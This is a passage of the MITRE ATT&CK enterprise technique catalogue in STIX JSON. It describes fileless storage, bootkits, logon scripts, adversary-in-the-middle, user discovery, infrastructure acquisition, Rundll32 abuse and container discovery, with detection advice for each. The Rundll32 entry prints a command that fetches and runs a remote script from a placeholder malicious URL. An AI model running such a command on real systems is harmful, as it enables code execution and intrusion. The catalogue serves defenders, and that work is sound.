                    "source_name": "Elastic Binary Executed from Shared Memory Directory",
                    "description": "Elastic. (n.d.). Binary Executed from Shared Memory Directory. Retrieved September 24, 2024.",
                    "url": "https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-3-binary-executed-from-shared-memory-directory.html"
                },
                {
                    "source_name": "SecureList Fileless",
                    "description": "Legezo, D. (2022, May 4). A new secret stash for \u201cfileless\u201d malware. Retrieved March 23, 2023.",
                    "url": "https://securelist.com/a-new-secret-stash-for-fileless-malware/106393/"
                },
                {
                    "source_name": "Microsoft Fileless",
                    "description": "Microsoft. (2023, February 6). Fileless threats. Retrieved March 23, 2023.",
                    "url": "https://learn.microsoft.com/microsoft-365/security/intelligence/fileless-threats"
                },
                {
                    "source_name": "Sysdig Fileless Malware 23022",
                    "description": "Nicholas Lang. (2022, May 3). Fileless malware mitigation. Retrieved September 24, 2024.",
                    "url": "https://sysdig.com/blog/containers-read-only-fileless-malware/"
                },
                {
                    "source_name": "Akami Frog4Shell 2024",
                    "description": "Ori David. (2024, February 1). Frog4Shell \u2014 FritzFrog Botnet Adds One-Days to Its Arsenal. Retrieved September 24, 2024.",
                    "url": "https://www.akamai.com/blog/security-research/fritzfrog-botnet-new-capabilities-log4shell"
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            "modified": "2025-04-15T22:35:48.121Z",
            "name": "Fileless Storage",
            "description": "Adversaries may store data in \"fileless\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) In Linux systems, shared memory directories such as `/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock` may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024)\n\nSimilar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.(Citation: Sysdig Fileless Malware 23022)\n\nAdversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored.\n\nSome forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\\System32\\Wbem\\Repository`) or Registry (e.g., `%SystemRoot%\\System32\\Config`) physical files.(Citation: Microsoft Fileless) ",
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                    "phase_name": "defense-evasion"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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                "Denise Tan",
                "Mark Wee",
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                "Xavier Rousseau",
                "Vito Alfano, Group-IB"
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            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "2.0",
            "x_mitre_data_sources": [
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                "Process: Process Creation"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d",
            "created": "2017-05-31T21:30:54.661Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1067",
                    "external_id": "T1067"
                },
                {
                    "source_name": "MTrends 2016",
                    "description": "Mandiant. (2016, February). M-Trends 2016. Retrieved January 4, 2017.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/regional/fr_FR/offers/pdfs/ig-mtrends-2016.pdf"
                },
                {
                    "source_name": "Lau 2011",
                    "description": "Lau, H. (2011, August 8). Are MBR Infections Back in Fashion? (Infographic). Retrieved November 13, 2014.",
                    "url": "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:04.909Z",
            "name": "Bootkit",
            "description": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n### Master Boot Record\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\n### Volume Boot Record\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Perform integrity checking on MBR and VBR. Take snapshots of MBR and VBR and compare against known good samples. Report changes to MBR and VBR as they occur for indicators of suspicious activity and further analysis.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows"
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            "x_mitre_version": "1.1"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334",
            "created": "2017-05-31T21:30:38.910Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1037",
                    "external_id": "T1037"
                },
                {
                    "source_name": "Anomali Rocke March 2019",
                    "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.",
                    "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang"
                },
                {
                    "source_name": "Mandiant APT29 Eye Spy Email Nov 22",
                    "description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"
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            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:02.121Z",
            "name": "Boot or Logon Initialization Scripts",
            "description": "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence.(Citation: Mandiant APT29 Eye Spy Email Nov 22)(Citation: Anomali Rocke March 2019) Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely.  \n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \n\nAn adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.",
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "Windows",
                "Linux",
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                "ESXi"
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                "File: File Modification",
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                "Command: Command Execution",
                "File: File Creation",
                "Process: Process Creation",
                "Active Directory: Active Directory Object Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d",
            "created": "2020-02-11T19:07:12.114Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1557",
                    "external_id": "T1557"
                },
                {
                    "source_name": "dns_changer_trojans",
                    "description": "Abendan, O. (2012, June 14). How DNS Changer Trojans Direct Users to Threats. Retrieved October 28, 2021.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/125/how-dns-changer-trojans-direct-users-to-threats"
                },
                {
                    "source_name": "volexity_0day_sophos_FW",
                    "description": "Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.",
                    "url": "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"
                },
                {
                    "source_name": "taxonomy_downgrade_att_tls",
                    "description": "Alashwali, E. S., Rasmussen, K. (2019, January 26). What's in a Downgrade? A Taxonomy of Downgrade Attacks in the TLS Protocol and Application Protocols Using TLS. Retrieved December 7, 2021.",
                    "url": "https://arxiv.org/abs/1809.05681"
                },
                {
                    "source_name": "ad_blocker_with_miner",
                    "description": "Kuzmenko, A.. (2021, March 10). Ad blocker with miner included. Retrieved October 28, 2021.",
                    "url": "https://securelist.com/ad-blocker-with-miner-included/101105/"
                },
                {
                    "source_name": "Token tactics",
                    "description": "Microsoft Incident Response. (2022, November 16). Token tactics: How to prevent, detect, and respond to cloud token theft. Retrieved December 26, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2022/11/16/token-tactics-how-to-prevent-detect-and-respond-to-cloud-token-theft/"
                },
                {
                    "source_name": "mitm_tls_downgrade_att",
                    "description": "praetorian Editorial Team. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved December 8, 2021.",
                    "url": "https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/"
                },
                {
                    "source_name": "Rapid7 MiTM Basics",
                    "description": "Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March 2, 2020.",
                    "url": "https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/"
                },
                {
                    "source_name": "tlseminar_downgrade_att",
                    "description": "Team Cinnamon. (2017, February 3). Downgrade Attacks. Retrieved December 9, 2021.",
                    "url": "https://tlseminar.github.io/downgrade-attacks/"
                },
                {
                    "source_name": "ttint_rat",
                    "description": "Tu, L. Ma, Y. Ye, G. (2020, October 1). Ttint: An IoT Remote Access Trojan spread through 2 0-day vulnerabilities. Retrieved October 28, 2021.",
                    "url": "https://blog.netlab.360.com/ttint-an-iot-remote-control-trojan-spread-through-2-0-day-vulnerabilities/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:02.209Z",
            "name": "Adversary-in-the-Middle",
            "description": "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or replay attacks ([Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212)). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)\n\nFor example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware.(Citation: ttint_rat)(Citation: dns_changer_trojans)(Citation: ad_blocker_with_miner) Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens ([Steal Application Access Token](https://attack.mitre.org/techniques/T1528)) and session cookies ([Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)).(Citation: volexity_0day_sophos_FW)(Citation: Token tactics) [Downgrade Attack](https://attack.mitre.org/techniques/T1562/010)s can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm.(Citation: mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls)(Citation: tlseminar_downgrade_att)\n\nAdversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to [Impair Defenses](https://attack.mitre.org/techniques/T1562) and/or in support of a [Network Denial of Service](https://attack.mitre.org/techniques/T1498).",
            "kill_chain_phases": [
                {
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                    "phase_name": "credential-access"
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
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            "x_mitre_contributors": [
                "Mayuresh Dani, Qualys",
                "Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project",
                "NEC"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor network traffic for anomalies associated with known AiTM behavior. Consider monitoring for modifications to system configuration files involved in shaping network traffic flow.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux",
                "Network Devices"
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            "x_mitre_version": "2.5",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Content",
                "Windows Registry: Windows Registry Key Modification",
                "Network Traffic: Network Traffic Flow",
                "Service: Service Creation"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "created": "2017-05-31T21:30:35.733Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1033",
                    "external_id": "T1033"
                },
                {
                    "source_name": "show_ssh_users_cmd_cisco",
                    "description": "Cisco. (2023, March 7). Cisco IOS Security Command Reference: Commands S to Z . Retrieved July 13, 2022.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-s5.html"
                },
                {
                    "source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018",
                    "description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:02.301Z",
            "name": "System Owner/User Discovery",
            "description": "Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nVarious utilities and commands may acquire this information, including <code>whoami</code>. In macOS and Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>. On macOS the <code>dscl . list /Users | grep -v '_'</code> command can also be used to enumerate user accounts. Environment variables, such as <code>%USERNAME%</code> and <code>$USER</code>, may also be used to access this information.\n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show users` and `show ssh` can be used to display users currently logged into the device.(Citation: show_ssh_users_cmd_cisco)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Austin Clark, @c2defense"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "`System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nFor network infrastructure devices, collect AAA logging to monitor `show` commands being run by non-standard users from non-standard locations.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices"
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            "x_mitre_version": "1.6",
            "x_mitre_data_sources": [
                "Active Directory: Active Directory Object Access",
                "Process: OS API Execution",
                "Command: Command Execution",
                "Network Traffic: Network Traffic Content",
                "Process: Process Creation",
                "Network Traffic: Network Traffic Flow",
                "Windows Registry: Windows Registry Key Access",
                "File: File Access",
                "Process: Process Access"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2",
            "created": "2020-09-30T16:37:40.271Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1583",
                    "external_id": "T1583"
                },
                {
                    "source_name": "amnesty_nso_pegasus",
                    "description": "Amnesty International Security Lab. (2021, July 18). Forensic Methodology Report: How to catch NSO Group\u2019s Pegasus. Retrieved February 22, 2022.",
                    "url": "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/"
                },
                {
                    "source_name": "Mandiant APT29 Microsoft 365 2022",
                    "description": "Douglas Bienstock. (2022, August 18). You Can\u2019t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft"
                },
                {
                    "source_name": "FBI Proxies Credential Stuffing",
                    "description": "FBI. (2022, August 18). Proxies and Configurations Used for Credential Stuffing Attacks on Online Customer Accounts . Retrieved July 6, 2023.",
                    "url": "https://www.ic3.gov/Media/News/2022/220818.pdf"
                },
                {
                    "source_name": "Free Trial PurpleUrchin",
                    "description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.",
                    "url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/"
                },
                {
                    "source_name": "Koczwara Beacon Hunting Sep 2021",
                    "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
                    "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
                },
                {
                    "source_name": "TrendmicroHideoutsLease",
                    "description": "Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.",
                    "url": "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf"
                },
                {
                    "source_name": "Mandiant SCANdalous Jul 2020",
                    "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T21:44:09.753Z",
            "name": "Acquire Infrastructure",
            "description": "Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost.(Citation: Free Trial PurpleUrchin) Additionally, botnets are available for rent or purchase.\n\nUse of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation: Mandiant APT29 Microsoft 365 2022) Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Shailesh Tiwary (Indian Army)",
                "Menachem Goldstein"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. \n\nOnce adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
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            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Internet Scan: Response Metadata",
                "Internet Scan: Response Content",
                "Domain Name: Active DNS",
                "Domain Name: Passive DNS",
                "Domain Name: Domain Registration"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "created": "2020-01-23T18:03:46.248Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1218/011",
                    "external_id": "T1218.011"
                },
                {
                    "source_name": "rundll32.exe defense evasion",
                    "description": "Ariel silver. (2022, February 1). Defense Evasion Techniques. Retrieved April 8, 2022.",
                    "url": "https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/"
                },
                {
                    "source_name": "Attackify Rundll32.exe Obscurity",
                    "description": "Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021.",
                    "url": "https://www.attackify.com/blog/rundll32_execution_order/"
                },
                {
                    "source_name": "This is Security Command Line Confusion",
                    "description": "B. Ancel. (2014, August 20). Poweliks \u2013 Command Line Confusion. Retrieved March 5, 2018.",
                    "url": "https://www.stormshield.com/news/poweliks-command-line-confusion/"
                },
                {
                    "source_name": "Github NoRunDll",
                    "description": "gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021.",
                    "url": "https://github.com/gtworek/PSBits/tree/master/NoRunDll"
                },
                {
                    "source_name": "Trend Micro CPL",
                    "description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.",
                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:58:02.470Z",
            "name": "Rundll32",
            "description": "Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>).\n\nRundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe.\n\nRundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\"</code>  This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: <code>rundll32.exe file.dll,#1</code>).\n\nAdditionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion) ",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
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            "x_mitre_contributors": [
                "Gareth Phillips, Seek Ltd.",
                "Casey Smith",
                "Ricardo Dias",
                "James_inthe_box, Me"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.\n\nCommand arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.4",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Metadata",
                "Module: Module Load"
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336",
            "created": "2021-03-31T14:26:00.848Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1613",
                    "external_id": "T1613"
                },
                {
                    "source_name": "Docker API",
                    "description": "Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021.",
                    "url": "https://docs.docker.com/engine/api/v1.41/"
                },
                {
                    "source_name": "Kubernetes API",
                    "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.",
                    "url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/"
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            "name": "Container and Resource Discovery",
            "description": "Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.\n\nThese resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment\u2019s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary\u2019s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution. ",
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                    "phase_name": "discovery"
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            "x_mitre_contributors": [
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                "Center for Threat-Informed Defense (CTID)",
                "Yossi Weizman, Azure Defender Research Team"
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            "x_mitre_detection": "Establish centralized logging for the activity of container and Kubernetes cluster components. This can be done by deploying logging agents on Kubernetes nodes and retrieving logs from sidecar proxies for application pods to detect malicious activity at the cluster level.\n\nMonitor logs for actions that could be taken to gather information about container infrastructure, including the use of discovery API calls by new or unexpected users. Monitor account activity logs to see actions performed and activity associated with the Kubernetes dashboard and other web applications. ",
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                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Containers"
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Pod: Pod Enumeration",
                "Container: Container Enumeration"
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        },
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            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--04a5a8ab-3bc8-4c83-95c9-55274a89786d",
            "created": "2022-07-08T12:39:29.684Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1583/007",
                    "external_id": "T1583.007"
                },
                {
